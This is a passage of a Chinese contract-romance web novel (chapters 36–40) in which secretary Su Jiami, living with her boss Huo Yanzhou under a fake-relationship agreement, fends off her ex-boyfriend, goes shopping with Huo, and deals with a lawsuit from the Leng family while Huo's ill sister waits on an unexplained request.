苏嘉觅将手机丢在旁边,继续端起碗喝粥。 她心里有疑惑,却没问霍砚舟。 因为,她现在也不能确定霍砚舟是不是顾及到冷家而放了陆北一马。 霍砚舟抻了西裤坐到床边,“旧情未了?” 苏嘉觅幽怨地抬眸望向霍砚舟,“我对他只有恨,倒是霍总那天说警方去抓人了,可陆北还在外边晃。” 霍砚舟方才听了黎骋的汇报得知事情的始末。 他沉声,“不是陆北,是冷媛找的人。” 苏嘉觅捏着勺子的手顿住,“冷媛被抓了?” “冷家给她找了个‘替死鬼’嘴严得很,还找了金牌律师做辩护人,显然冷媛想一石二鸟,对付你,向陆北撒气!” 霍砚舟见苏嘉觅没了胃口,“这件事,交给我,你把粥喝了。” 苏嘉觅没想到冷媛竟然是个恋爱脑,在陆北那了解了两人的过去后,她不仅迁怒陆北,竟然对她也下手。 霍砚舟见苏嘉觅陷入沉思,面色一沉。 他起身离开前,轻飘地丢了一句话给苏嘉觅,“好兔子不吃窝边草,也不啃回头草。” 苏嘉觅是属兔的。 她无奈苦笑,“我是那种专职咬人的兔子。” 霍砚舟不着痕迹地顿了一下,“我要去公司,你可以叫你朋友过来照顾你。” 这是霍砚舟的家,她暂时居住都觉得不妥,她又怎么好意思叫许瑶过来陪她? 苏嘉觅喝完粥,躺下想睡会儿。 霍砚舟的电话却打了进来。 他慵懒地声音透着疲惫却听得苏嘉觅发麻,“叫你朋友过来,你自己在家,我不放心。” 苏嘉觅仿佛感受到霍砚舟吐在她耳边说话,酥麻一阵。 “好!” 霍砚舟笑音呢喃,“晚上想吃什么发给我。” 电话挂断,苏嘉觅有点恍惚。 许瑶来了后,像逛大观园的刘姥姥一般将霍砚舟的豪宅逛了一遍。 她咋咋呼呼地跑到苏嘉觅那说,“觅觅,我好喜欢地下室的那个楼梯呀,太出片了。” 苏嘉觅住在这的这段时间,她很惬意,因为赏心悦目又舒适,霍砚舟的各方面的品位极佳。 “霍砚舟这个人,衣品好,酒品佳,艺术品位也如你所见。” 苏嘉觅靠在床头上,散着头发看上去慵懒又性感。 许瑶小声说,“这样的男人床品一定也很好,哎,可惜...他竟然不行。你俩住一起这么久,做过吗?” 苏嘉觅喝水喝呛了,“我俩是假的。” 许瑶拿过杯子,“水都凉了,我去给你冲点红糖水。” “他家没红糖,”苏嘉觅又说,“倒杯热水就行。” 不多时,许瑶端着红糖水上来,“霍砚舟好细心啊,在直饮水机旁放了一罐红糖,新开封的。” 苏嘉觅平和的目光染上一层柔色,她看向了挂在她房间内霍砚舟“染血”的西服外套。 另一边,许瑶的男秘书傅珩在霍砚舟的办公室里悠闲地抿了一口咖啡。 他语气讥诮,“你让我律所的律师拒绝冷家的委托?” 第36章 狗男人伺候人上瘾了? 霍砚舟骨节分明的手指夹着雪色的香烟,慢慢地吞吐,烟雾入胸,消散疲乏。 傅珩不抽烟,扇了扇烟气。 “砚舟,你这么帮苏嘉觅,是对她有意思?” 霍砚舟吐了一口烟雾扑向傅珩,“我是单纯看陆北不顺眼。” 傅珩一怔,他勾唇笑。 “你知道两个男人为了一个女人叫什么吗?” 霍砚舟知道傅珩没好话,他没接茬。 傅珩自顾自地说,“叫争风吃醋。” 霍砚舟瞪了傅珩一眼,他仰靠在沙发椅上,没什么语气,“我跟她签了协议,里面有护着她这条。” 傅珩不信。 霍砚舟的精明与城府非常人所及,渗入骨血的腹黑与算计是剔除不掉的,他怎么可能签给自己找麻烦又吃亏的协议? 他自己愿意这么说,傅珩也懒得拆穿。 傅珩微微颔首,“行,我一会儿给律所打电话,推了冷家的委托。” 霍砚舟觑了一眼在海城与江城声名赫赫的傅律师竟然窝在许瑶不足五十人的小公司里当秘书。 他笑容玩味,“傅律,伺候人上瘾了?” 傅珩按了按眉心,“少管我,等我这边的事了了,我先回江城在杳杳面前告你一状。” 霍砚舟瞳孔如被夜色浸透的黑曜石,所有情绪沉进深不见底的渊潭,连光线都被吞噬。 傅珩摸了摸鼻子,见他如此,觉得没意思。 “得,我的错,我认。” 他起身整理外套,“晚上出去喝酒?” “晚上我有事。” 霍砚舟挑眉,“你还不抓紧滚,去接你的女老板?” 傅珩轻咳,“我来帮你,你还嫌弃我?” 霍砚舟闷笑出声,语气揶揄,“我是嫌弃她,她说不定正在我家自拍没完。” 傅珩知道许瑶在霍砚舟眼里就是个小门小户出来的女人,可苏嘉觅比许瑶还不如。 他冷嗤,“许瑶再不济,也比孤儿苏嘉觅强。” 傅珩扣上西服纽扣,“砚舟,能走肾就别走心,你和她,没戏。” 霍砚舟将烟按死在烟缸里。 他语气挑弄,“阿珩,不能给许瑶嫁衣就别动她内衣,你和她,不成。” 嘴上都不是饶人的! 发小兼兄弟的两人见面掐的习惯没变过,奇就奇在掐了这么多年没掐散伙,而且感情甚笃。 傅珩指了指霍砚舟,“我把话放这,伯父伯母不会同意你娶孤女的。” “我没想娶,”霍砚舟整理下领带夹,“倒是你,秋姨也一定看不上小门小户的许瑶。” 傅珩不甘示弱,“我都没动情。” 说完,人转身走了。 霍砚舟轻飘飘地说,“赶紧去接人,再有许瑶不能发我家的照片。” 另一边,许瑶正让苏嘉觅给她在地下室楼梯处拍照,她昂着头,顶着翘臀,“多拍几张。” “拍归拍,不能发朋友圈。” 苏嘉觅提醒许瑶,“霍砚舟很注重隐私。” 许瑶点头,“放心啦,我就自己看。” 她摸了摸纯黑木纹的楼梯,觑了一眼黑白菱格的楼梯板,“随便一张都是时尚大片,还有这投影,这钢琴,这酒房,这一大圈的暖白大沙发。” 许瑶冲苏嘉觅挑眉,“哎,你俩将来真在一起,第一次交付就选这,太有腔调了。” 苏嘉觅刚才与许瑶说了她来大姨妈后低血糖晕倒的事情。 许瑶帮她分析出霍砚舟是用嘴给她喂的奶昔。 她分析得有理有据—— “觅觅,你晕倒后的状态你自己不知道,但我见过呀,你根本没办法自己喝东西。上学那会儿,都是我给宿管阿姨打电话把你背去咱们学校的附属医院的急诊打吊瓶。 所以,那半瓶奶昔,一定是霍砚舟用嘴喂你的,你俩妥妥的现偶啊!” 苏嘉觅被许瑶说得面红耳赤。 “他这么做是为了救我,他总不能眼睁睁看我死车上吧?” 许瑶又说了很多,总之一句话,“你别管霍砚舟那方面行不行,都不妨碍他是朵高岭之花,想贴上去的女人有的是。你得把握机会!” —— 许瑶陪苏嘉觅呆到五点。 她给傅珩打电话,“傅珩,你怎么还不来接我?” 傅珩故意没去接许瑶。 霍砚舟不是嫌弃许瑶吗?那他就是要讨霍砚舟的嫌。 他扫了一眼腕表,“许总,我六点过去接您,公司这边有点事,我处理一下。” 许瑶觉得晚上六点,霍砚舟铁定回来了。 “你五点半过来接我!” 傅珩勾唇,“好。” 挂了电话,他打电话给了后勤处,“小王,把许总常开的车加满油,许总六点要用车。” 傅珩仰靠在沙发椅子上,摸了摸鼻子,笑容得意。 创科国际的地下停车场。 黎骋在车的中控屏幕上规划路线,“霍总,我们先去取餐,我再送您回去。” 霍砚舟让黎骋给苏嘉觅定了京城最地道的粤菜,还有海鲜粥。 他闭目养神,“再找个会烧菜的阿姨吧!” 黎骋诧异,心想他刚把夫人派过来的沈蓉阿姨打发回江城,怎么还找阿姨? 就听霍砚舟又说,“不住家里,只按时打扫卫生,烧饭菜。” 霍砚舟发觉苏嘉觅吃够了外边的饭,他也腻歪了这口味,他挺喜欢苏嘉觅做的家常饭菜还有西红柿鸡蛋面。 可她同他下班时间相同,回去后,她懒得动手,他又不会,实在麻烦。 黎骋干咽了一口,心里盘算着霍砚舟带着苏嘉觅出差两天,他似乎对苏嘉觅优容了很多。 他老板不仅给苏嘉觅放了一下午假在家休息,还定了粤菜给她,这会儿又要找个阿姨照顾她。 这两天,两人之间发生了什么? 霍砚舟到家时,许瑶正焦急地等在门口。 霍砚舟的这套庄园别墅占地面积大,同小区的别墅占地面积都不小,整体的绿化植被又茂密,通往每处别墅的路又规整又长。 顺风车不让进来接人,许瑶又不想踩着高跟鞋走出去,而傅珩迟迟没来接她,一直拖到六点多,她还没走成。 听到汽车开进来的声音,许瑶心提到了嗓子眼,“觅觅,霍砚舟回来了?” 苏嘉觅窝在沙发里,“他知道我有朋友要来,你怕什么?” 许瑶急得不行,“那是霍砚舟,他会认为我没分寸感,不是你的好闺蜜。” 说话间,霍砚舟推门进来。 男人一袭黑色的西装,黑白条纹领带打得一丝不苟,五官英挺,身姿俊逸,合身高定西装勒出来的窄腰衬着他的宽肩和大长腿。 许瑶直视霍砚舟,突然觉得他与傅珩一样的好看,让人心动。 她挑眉觑向苏嘉觅,做了口型,“赶紧上手!” 苏嘉觅神情微僵,冲霍砚舟莞尔一笑。 霍砚舟勾唇,“苏秘书,这是你朋友?” 第37章 雇主是霍先生和霍太太? 这是许瑶和霍砚舟第二次见面。 许瑶干笑了两声,“霍总贵人多忘事,之前在机场,我们见过。” 上次,苏嘉觅骨裂,霍砚舟包机回京,许瑶接苏嘉觅没能接走。 霍砚舟打量了许瑶片刻,没什么印象。 他只礼貌地点下头,“嗯。” 黎骋拎着饭菜打包盒进来。 霍砚舟已经做到了苏嘉觅身边,神情淡可目光热切,“好点了吗?” 苏嘉觅脸色红润了不少,“好多了,就那么一阵儿。” 霍砚舟看着摆饭的黎骋,柔声说,“我让黎骋找了阿姨,一会儿人过来,你吩咐她就好。” 说完,他拍了拍苏嘉觅的头,就起身去楼上。 他边走边脱外套,挺括的肩膀抻着白色的衬衫,说不出的人贵如玉的矜贵感。 苏嘉觅见过不少气质,相貌出类拔萃的男人,可霍砚舟确是少见的出众和拔尖,不经意间的动作都让人心神激荡。 许瑶蹭了过来,她小声说,“他对你真不错啊,还找阿瑶专职照顾你。” 苏嘉觅心头也有种异样的感觉,像是被霍砚舟金屋藏娇了一般,可她怎么可能是他的小娇娇呢? “也不是,天天吃外边的饭,我来吃腻了。” 苏嘉觅起身,“一起吃点?” 黎骋摆好饭,人就走了,许瑶头摇得跟拨浪鼓一样,“我走出叫车。” 留不住她,苏嘉觅将人送到门口,就见傅珩已经等在那了。 许瑶神情冷肃,她气闷,“这傅珩,三天不打上房揭瓦,放鸽子放到老板头上,看我不批评教育他?” 苏嘉觅太了解许瑶了,雷声大,雨点小,傅珩的长相气质出众,除了没有霍砚舟有钱,他俩其实是一类人。 “好色”的许瑶舍不得她的傅秘书受委屈。 许瑶摔上车门,“傅珩,你怎么才来?” 傅珩委屈地叹了口气,“堵车,我差点被追尾。” 许瑶拎过傅珩扶着方向盘的手,“有没有受伤啊?” 傅珩摇头。 苏嘉觅见车停了一会儿才开走,她就知道许瑶的批评教育太点到为止了。 楼上,霍砚舟看着傅珩载着许瑶离开,他冷嗤,“狗东西!” 吃饭的时候,苏嘉觅给霍砚舟盛了海鲜粥。 霍砚舟却把粥碗端给她,“给你点的。” 苏嘉觅心头一暖,霍砚舟每天摄入碳水是恒定的,他点了这么多升糖的吃食,显然是为了迁就她。 吃完饭,霍砚舟在小厅看黎骋带过来的材料。 苏嘉觅则等着面试阿姨。 新来的阿姨就汪娟,京城本地人,给人古道热肠的感觉。 苏嘉觅说了一些霍砚舟的生活习惯,要求家里一尘不染。 她又说,“京菜,汪阿姨一定能烧好,可霍总喜欢吃东坡肉,这个您得下工夫研究一下。” 霍砚舟听此,黑眸望向苏嘉觅,神情微微一顿。 此时的苏嘉觅穿着睡衣,领着汪阿姨吩咐以后在这工作的细节问题时,她真的好像这家里的女主人。 苏嘉觅微微颔首,听着汪阿姨的话。 忽而,抬头,她与霍砚舟四目相对。 霍砚舟收回视线,继续看手里的材料。 汪阿姨明天才正式上岗,她走之前,“先生,太太,我明天下午四点半过来准备晚餐。” 苏嘉觅刚要开口解释,就听霍砚舟抢白,“辛苦了。” 霍砚舟拿着资料起身,“她一个钟点阿姨,没有必要了解内情。你无需解释!” 他闲庭信步往电梯走,手里的文件拍在右腿侧,“她若是误解你是我养的女人,私下会不尊重你。” 电梯门关上,苏嘉觅脸上涌起丝丝红晕,她觉得自己这样很危险。 她与霍砚舟连男女关系都不是,她不能沉溺于他的“表演”,他没投入感情的演技太好才让她想得有点多。 苏嘉觅觉得自己必须保持冷静,不能因为他一个吻就乱了阵脚。 第二天,苏嘉觅在办公室打报表。 许瑶的电话就打了进来,她挺高兴的,“觅觅,陆北自从跟你分手,他喝水都塞牙缝,听说冷家请的那个金牌律师没请到,正四下托人找新律师呢!” 她又说,“他们家急吼吼地找律师做什么?” 云水镇发生的事,苏嘉觅没告诉许瑶,怕她担心。 “你都不清楚,我哪知道?” 苏嘉觅拄着下巴,想到帮她搞走冷家律师的人一定是霍砚舟,她嘴角漾笑,“瑶瑶,没事儿,我先挂了。” 她起身想去找霍砚舟,就接到了公司前台的电话。 “苏秘书,前台有位先生找您。” 除了送快递的,怎么会有人找她? 是陆北! 想到这,苏嘉觅直接拒绝,“你就说我有事,不见。” 前台有些为难,她看了一眼陆北又小声说,“苏秘书,他一大早就来了,有人认出他是嘉北的董事长,你的前男友。” 苏嘉觅是上了热搜,可她的脸被打码了,只有圈子里的人抑或者参加了那天冷家订婚宴的人才知道她是陆北的前女友,再有一部分知情人就是创科员工。 他们认出了陆北,不意外,可上班时间谈论她和陆北、霍砚舟之间的八卦就有点说不过去,而她置之不理任其发酵,也说不过去。 想到这,苏嘉觅下了楼。 陆北见苏嘉觅袅袅婷婷的过来,她似乎比与他在一起时更美了,不知是打扮得更漂亮的缘故还是被霍砚舟滋润的。 他攥紧了拳头,“觅觅,我们谈谈。” “陆北,我跟你,已经没什么好谈的了。” 苏嘉觅扫了一眼大厅里从电梯里进进出出的员工,她沉声,“你走吧,别再给我添麻烦了。” 陆北却一把拽住了苏嘉觅的手腕。 “觅觅,你恨我抛弃你,对不对?你不爱霍砚舟,你跟他在一起就是为了报复我,是不是?” 苏嘉觅挣脱陆北的拉扯,她没什么语气,“没有爱,哪来的恨,我对你主要是厌恶。因为你做的事情,太恶心了!” “不是我做的,是冷媛!” 陆北辩解。 苏嘉觅转身,嗤笑,“有区别吗?你们夫妻一体,她替你出手整我,不是正中你下怀?” 她勾唇,“你既然选择了权势,那就别回头,走到底。” 陆北却突然伸手从后面抱住了苏嘉觅。 “觅觅,我错了,我们重新开始好不好?我不要上市公司了,我也不要资本扶持了,我们重新开始!” 霍砚舟要出门,正好下来。 他瞅见这一幕,脸瞬间就阴沉下来,“苏秘书,过来!” 苏嘉觅看到霍砚舟,她用力地扯下陆北的手却是徒劳。 霍砚舟疾步过去,扯着陆北的手往后一背,疼得陆北呲牙裂嘴。 他冷声,“到我家门口撒野,陆北你胆子不小!” 第38章 砚舟,他欺负我! 霍砚舟锐利的眸光透着森冷,他瞪了一眼陆北。 他俯身在苏嘉觅耳侧警告,“我要脸,你让他在公司前台抱你,怎么算?” 苏嘉觅觑了一眼四周的指指点点,她豁出去了,顺势钻进了霍砚舟的怀里。 她放声而哭,“砚舟,他欺负我!” 砚舟? 霍砚舟感觉自己腰间被箍紧了,低头就是苏嘉觅抵在他胸口的小脑袋,还有细白的藕臂缠在他腰间,卡在他皮带的扣的上方,让他下腹一片温热。 他无处着落的大手覆在苏嘉觅的肩膀上,不轻不重地拍了一下。 霍砚舟低声抱怨,“松手,抱太紧了。” 苏嘉觅会意,松了一点点,可她鼻腔里全是霍砚舟须后水和男香的气息,沉静的香气,闻得她有些上头。 陆北被眼前一幕刺激了。 他嗤笑,“霍总,我和觅觅在一起六年,你就是比我有钱,不然你抢不走她。” 霍砚舟挑眉,笑得不屑,“抢?” 他伸手抚过苏嘉觅的唇瓣,摩挲中透着宠溺,“你不是假装破产攀高枝去了?陆北,是你亲手把她推到我身边的。” 陆北脸上的血色寸寸消去,他嗫嚅片刻,到底什么都没说。 苏嘉觅彻底离开他后,他才隐约发现苏嘉觅已经成了他生命中不可或缺的一部分,他再得知霍砚舟要了苏嘉觅后,他就更没办法忍受,从此陪在苏嘉觅身边的人不是他。 霍砚舟在京圈的地位,陆北望尘莫及,他不敢做得太过,他只是想稳住苏嘉觅,然后把她夺回来,娇养在外边。 他不信苏嘉觅能放下他们六年的感情,即便他之前做错了,他可以改,她为什么不原谅他? “觅觅,冷家反诉你诽谤,说你对我因爱生恨,故意抹黑他们。我会劝冷家撤诉,你原谅我,好不好?” 苏嘉觅了解陆北的自负,而他的这种自负是她六年的无私付出给惯出来的。 她正声,“陆北,别再来找我吧,我会积极应诉,但不会原谅你。再来纠缠我,我就报警抓你。” 苏嘉觅决绝无情的话,霍砚舟听得挺顺耳。 陆北却炸了,他一边挣脱保安的拉扯,一把冲霍砚舟喊,“霍砚舟,她就是看上了你的钱,你的权势。” 霍砚舟满眼不屑。 他垂眸扫了看向依偎在他怀里的苏嘉觅,心想她若是再贪恋他的钱财一些该多好。 “还没抱够?” 霍砚舟扣着苏嘉觅肩膀的手捏了捏她圆润肩膀细肉。 苏嘉觅收到信号,赶紧起身。 霍砚舟下意识地要去整理被苏嘉觅靠歪了的领带,却见一双柔嫩白皙的手已经伸过来替他整理领带结。 他垂眸就瞧见苏嘉觅长长的眼睫上翘,细密得像两把小扇子,她五官美很精致,皮肤透白莹润,身材凸凹有致,尤其是那两条又直又白且线条流畅的美腿,更是勾人。 她太耐看了,若是再看下去,他都怕自己会率先破戒喜欢上她的身子。 霍砚舟拨开苏嘉觅的手,“我自己来。” 他看似漫不经心地说,“你把公寓退掉,以后都别回去了。” 苏嘉觅是准备将来搬去霍砚舟给她住的风情雅苑的,所以她大部分东西都还在公寓,在霍砚舟现在的住所只有日常用品和几套换洗衣物,缺什么少什么,她就回公寓拿。 霍砚舟见苏嘉觅没应声,他不耐烦,“你是舍不得那小公寓还是舍不下与他的回忆?” 苏嘉觅一顿,不明白霍砚舟怎么会这么问。 她轻笑,“舍不得里面我亲手置办的东西。” 霍砚舟被她的回答气笑了。 他从西装口袋里拿出一个薄薄的钱夹,抽出一张信用卡递给苏嘉觅,“给你自己重新置办些东西,多买些衣服首饰还有包。” 财迷苏嘉觅伸出去的手顿在那,又放下。 她轻声,“霍总,你这样,我会以为被你包了。” 霍砚舟挑眉,哂笑着拍拍苏嘉觅不太灵光的小脑袋,“是履行义务,是养你。” 话音落,他将卡塞进了她手里。 霍砚舟提步要走,就见黎骋正在轰看两人热闹的员工别看,该上楼上楼,该出去办事的办事。 他见此面上有些尴尬,他光顾着跟苏嘉觅说话,忘了两人现在所处场合不对。 霍砚舟轻咳一声,“黎骋,走了!” 苏嘉觅捏着卡回神,就发现霍砚舟领着黎骋走了,留她一人置身“舆论漩涡”。 前台的小陈更是星星眼,“苏秘书,霍总对你可真好,男友力Max!” 一群人赶紧点头。 苏嘉觅脸上微微泛红,只笑笑。 她心想这哪是男友力,是金主的钞能力MAX! 车里,霍砚舟闭目养神,忽而睁眼,“黎骋,你去查一下冷氏集团的相关业务。” 黎骋一顿,他没想到因为苏嘉觅,霍砚舟打算整冷家了? “霍总,我觉得我们没必要针对冷家,”黎骋轻声,“毕竟,咱们集团主业还是在海城和江城。” 霍砚舟嗤笑,“你还瞧不起经济文化中心城市了?” 他一句话,让黎骋没吭声,“关键这边冬天下雪,您不是不喜欢冰天雪地的吗?” 霍砚舟冷声,“黎骋,你皮痒了?” 作为霍砚舟的心腹,黎骋知无不言,但他刚才确实失言了,“我这就去办!” —— 下午下班的时候,苏嘉觅去跟霍砚舟请假,“我晚上打算跟许瑶逛逛。” 霍砚舟扫了一眼手机。 傅珩说他晚上要跟许瑶表白,要将关系进一步,让他稳住苏嘉觅别去找许瑶。 他轻咳一声,“我陪你逛?” 霍砚舟要陪她逛街? 苏嘉觅正要拒绝,就见霍砚舟已经解开西服的扣子,“等我,我去换衣服。” 苏嘉觅愣在原地。 她觉得自己的心跳都快了,再这么下去,她万一生出恋爱脑怎么办? 霍砚舟换了西裤和白衬衫出来,没打领带,衬衫袖管挽到臂弯处,看上去随性,却难掩风姿,简单的穿搭衬得他英挺的面容依旧出众。 他亲自开车载着苏嘉觅去逛街。 黎骋提前下班,嘴差点咧到后脑勺,他觉得苏嘉觅进入霍砚舟的生活后,人变了不少,甚至都影响到了他这个狗腿子的生活。 商场外的街道,霍砚舟把苏嘉觅买的衣服放进车后备箱里,就见她扶着一旁的景观花篮,脱鞋按脚。 霍砚舟穿着舒适的白鞋,倒是苏嘉觅是高跟鞋。 他挑眉,“还逛吗?” 苏嘉觅点头,“我还想买点装饰品放我那屋。” 霍砚舟走过去,扶着她的腰给她支撑,“那先去买鞋,再买些休闲的衣服换上。” 苏嘉觅心头暖暖的。 霍砚舟把人带去了他常买鞋的一家意大利手工皮鞋店,这家店主营手工皮鞋,还有一些手工的休闲鞋。 他跟老板很熟,用纯熟的意大利语与老板沟通。 那老板是个五十多岁的意大利男人,他笑着望向苏嘉觅,他给苏嘉觅拿了一双小白鞋。 她发现与霍砚舟脚上的款式一样,是情侣款。 苏嘉觅抬眼看霍砚舟,他在挑选别的鞋,没注意她这边。 她跟老板语言不通,就跟店员说,“这跟我老板脚上的同款,我换一款吧!” 店员跟意大利老板沟通,又对苏嘉觅说,“这就是霍总给您选的,他说穿着舒服,走远路也不累。” 苏嘉觅看向霍砚舟,他拿着一款浅棕色的女士高跟鞋问苏嘉觅,“喜欢这款吗?颜色可以调整,尺寸合适更舒服。” 苏嘉觅脸红,她怀疑霍砚舟开车上路,苦于没有证据。 第39章 霍砚舟:她快同意了 霍砚舟给苏嘉觅一口气订了十二双鞋子,约定了送货上门的时间。 他刷卡的时候,她有一种罪恶感,头次有男人愿意给她花这么多钱去买穿着舒适的鞋子。 买衣服的时候,苏嘉觅给霍砚舟挑选了上等面料的衬衫,四个颜色,浅灰、浅咖、白色和淡蓝,配了两条领带,这钱是苏嘉觅花的。 霍砚舟站在苏嘉觅身后,低笑,“苏秘书,投桃报李?” 苏嘉觅拿着新挑选的蓝黑色菱格纹领带转身搭在霍砚舟的脖颈上,“我吃你的,住你的,现在都穿你的了,不应该投桃报李?” 霍砚舟盯着苏嘉觅一开一合的嘴唇,他喉结滚动了两下。 他沉声逗她,“没想过给我点别的回报?” 苏嘉觅耳根漾红,咬了下唇瓣,“要不我再给您做顿大餐?” “就你聪明!” 霍砚舟低笑,没为难她,扯过她手中的领带,“我不喜欢这条,寡淡。” 苏嘉觅知道他话里有话,硬是没接茬。 两人又去逛了家私店。 苏嘉觅选着装饰品,又盯上了田园风的窗帘。 她挑眉,“我能把我房间的窗帘换了吗?” 那屋的窗帘是褐色白色条纹的,现代风,冷硬,她想要个暖色调的房间。 “你自己决定!” 霍砚舟走累了,坐在沙发上翻看杂志,连眼皮都没抬。 苏嘉觅瞅准时机将她那屋的窗帘,床品都给换了,刷卡的时候,她看到近二十万的价格觉得咋舌。 霍砚舟却连账单都没看,只说,“我饿了,去吃东西。” 有钱人的阔绰让苏嘉觅有点不适应,她赶紧跟了上去,“我回去给你做好吃的?” 霍砚舟看了一眼表,“改天吧,太晚了。” 苏嘉觅把时间定在了周末,她要一展厨艺报答金主。 最后,苏嘉觅跟霍砚舟说大学城附近有一家地道的韩国拌饭店,老板娘是鲜族人,很好吃。 “吃来吃去都是酱菜。” 霍砚舟扶着方向盘表示不感兴趣,却还是把车开去了大学城。 苏嘉觅下车去买拌饭前,她打趣口嫌体直的霍砚舟,“霍总导航错了吧,怎么来了这呢?” 霍砚舟干咳了两声。 “一时想不到吃什么才开过来的,”他从口袋里摸出烟,点燃吸了两口,将手放在车窗外,“你买回来不好吃,唯你是问。” 苏嘉觅撇了撇嘴,下车去买夜宵。 大学城附近的街道人群熙攘,很热闹。 霍砚舟的黄色迈凯伦很扎眼,坐在车里的霍砚舟更扎眼。 女大学生驻足偷拍霍砚舟,男大学生偷拍豪车,只有霍砚舟的目光沉沉地追着买东西的苏嘉觅。 她换上了新买的绿色白花及脚踝的吊带长裙,背着大托特包,穿着小白鞋,头发挽成了丸子。 身材高挑,皮肤白皙的她站在学生堆里一点都不违和,像极了女大学生。 霍砚舟吐了口烟气,见苏嘉觅又去买了鸡架和火爆大鱿鱼,又点了一份炒冷面,他挠了挠眉尾,“属什么兔子,分明是属小胖猪的。” 苏嘉觅回来的时候,她鼻尖沁着汗,两手提着东西的她示意霍砚舟给她开车门。 霍砚舟偏头,没听懂的样子。 苏嘉觅着急,大声喊,他无动于衷。 她发觉他逗她,转身要走。 霍砚舟才按开了车门,车门缓缓上抬,“刚真没听懂,快回来!” 苏嘉觅拎着东西上车,举着怕洒的样子很好笑。 “你再这么逗我,我就不给你吃。” 霍砚舟勾唇,“你也没给我吃过你!” 苏嘉觅神情一僵,听到男人闷骚的笑声传来,“苏秘书,别跟我打嘴仗,你会输。” 回家的两人发现汪阿姨给他俩做了饭菜,都热在蒸箱里。 可吃饭的时候,霍砚舟明显喜欢苏嘉觅买的小吃。 他吃饭的修养极好,慢条斯理,赏心悦目。 苏嘉觅却啧啧地调侃,“霍总,你长这么大是不是都没享受过露天喝啤酒撸串的乐趣?” 他确实没有过。 霍家的家教严格,礼仪周全。 他上学那会儿车接车送,大学时,他和傅珩在国外留学,两人住一起,有佣人司机和保镖看顾,多了保障,少了自在。 回国后,两人参加最多的是晚宴,铁板烧倒是吃,露天烧烤加啤酒,没尝试过。 看着霍砚舟若有所思,苏嘉觅伸手拍了拍他的肩膀。 “哪天我带你出去潇洒一下!” “嗯?” 霍砚舟抬眸轻笑,“怎么潇洒?” 苏嘉觅笑着说,“猪牛羊肉小龙虾,凌晨深夜不散趴;花生毛豆冰啤酒,不喝趴下不准走;人间自有真情在,把把烧烤人人爱!” 霍砚舟怔住,他朗笑出声,“苏嘉觅,你可真逗。” 苏嘉觅将铁板大鱿鱼放在霍砚舟的餐盘里,她笑着说,“总之,若要夏天过得好,烤串绝对少不了!” 霍砚舟这餐饭吃得很开心,主要是被苏嘉觅逗的。 夜里,他洗澡的时候,脑中还会想起苏嘉觅的话,他勾唇笑,没忍住地笑出了声。 霍砚舟刚躺床上,霍云杳的电话就打了进来。 “三哥,我好难受,我不治了!” 霍砚舟滕然起身,心被揪痛,“杳杳,不要任性,这是必经阶段。” 霍云杳抽噎声从听筒里传来,霍砚舟静静地听着。 他叹了口气,“哭吧,哭出来会舒服一些。” 霍云杳顿住,“三哥,我想和你视频。” 霍砚舟沉默片刻,“好。” 他将视频打了过去,霍云杳清澈的大眼睛深陷了许多,她戴着齐刘海的假发,勉强露出一抹淡笑。 “三哥,我是不是变丑了?” 霍砚舟看着担心美貌不在变丑的小姑娘,摇头,“没有,还是很漂亮。” 霍云杳的笑容隐去,长睫毛掩盖难过,“那位苏小姐是不是长得很美,比我美?” 霍砚舟漆黑的眼眸闪过无奈,他没回答。 只是,霍云杳瘦得厉害,像一个一捏就会破碎的瓷娃娃,就连那瓷白的肌肤都少了光泽,像一朵即将枯萎的白玉兰。 “三哥,她同意了吗?” 霍云杳黑漆漆的眼眸蓄满泪,尽是期待。 霍砚舟不忍让她失望,只含糊地说,“快同意了,再给我一点时间。” 他勾唇,“我今天和你的主治医生聊过,你这次化疗效果很好。” 霍云杳叹了口气,“续命罢了,只有她才能让我获得新生。” 霍砚舟心头微颤,他靠着床头点燃一支烟,“杳杳,你休息吧,我挂了!” 视频挂断,霍砚舟的记忆拉到了他七岁的时候,他第一次见杳杳,她也用这样的眼神看着她,奶声奶气地说,“哥哥不哭,我把奶豆给你吃。” 第二天一早,苏嘉觅开门,接过霍砚舟沾染上污血已经干洗干净的西服外套,她拎着外套敲门进了霍砚舟的房间。 他不在,去了健身房。 苏嘉觅将西服外套挂好,就见一件有些旧的白色暗条纹衬衫挂在那,在几十件衬衫中显得格格不入。 她伸手拎出来,看到衬衫袖口处用深蓝色的线绣了两个字母“YY”! 苏嘉觅勾唇,“歪歪?” “你在干什么?” 霍砚舟清冷的声音从门口传来。 第40章 他想去哄苏秘书 苏嘉觅收回手,还没等她开口说话,霍砚舟已经走了过来,将那件衬衫拿了出来,挂到了带锁的玻璃门的储物格里。 他不耐烦的语气,“苏秘书,以后没我的允许,不许进我的房间。” 苏嘉觅咬着嘴唇,错愕地点头就离开了。 她没解释地走了。 霍砚舟扫了一眼衣帽间才看到那件沾了血又洗干净的西装外套挂了回来。 显然,苏嘉觅是来送西装外套的。 他按了按眉心,有些不自在。 去公司的路上,苏嘉觅坐在副驾驶,霍砚舟坐在后面,两人都没说话。 倒是开车的黎骋时不时看一眼苏嘉觅,又抬头看觑一眼后视镜中看文件的霍砚舟,眉目清冷。 昨晚两人还一起去逛街,怎么今天又别扭得像仇人? 到了公司,苏嘉觅送咖啡进去时,霍砚舟正在讲电话。 他的眼睛却一直盯着苏嘉觅,看她将早餐和咖啡放在桌子上就准备走。 霍砚舟挂了电话,他沉声道,“冷家换了个律师,远大律所的张铭,他在业内也有些名望。” 苏嘉觅听此,捏紧了手。 她小心翼翼地望向霍砚舟,就见他迅速落下眼睑,边整理领带边往办公桌处走,准备吃早餐。 本想开口求霍砚舟帮忙找应诉律师的苏嘉觅心凉半截。 她叹了口气,走了。 霍砚舟见人走了,怔忪片刻。 他将整理好的领带扯了下来,拿过手机给傅珩打电话,“说话方便吗?” 昨晚铩羽而归的傅珩正在办公室给许瑶做行程表,脸色阴郁。 他没好气儿地“嗯”了一声。 霍砚舟眉宇微微上扬,“失手了?” “有事说事,没事就滚蛋!” 傅珩刚要挂电话,就听霍砚舟忍笑说,“有事。苏嘉觅会找许瑶帮忙找律师,你让她来求我。” 傅珩仰靠在沙发椅上,他嗤笑,“这么迂回,你不累?” “就这样,挂了!” 霍砚舟没给傅珩再怼他的机会直接挂了电话。 傅珩沉吟片刻,觉得这也是他与许瑶缓解尴尬的好机会,他拿着打印出来的行程表去找许瑶。 许瑶正在接苏嘉觅的电话,傅珩佯装不知地站在那听。 他落笔写下便条——听闻霍砚舟认识恒瑞律所的首席律师,可以让苏小姐去求霍砚舟。 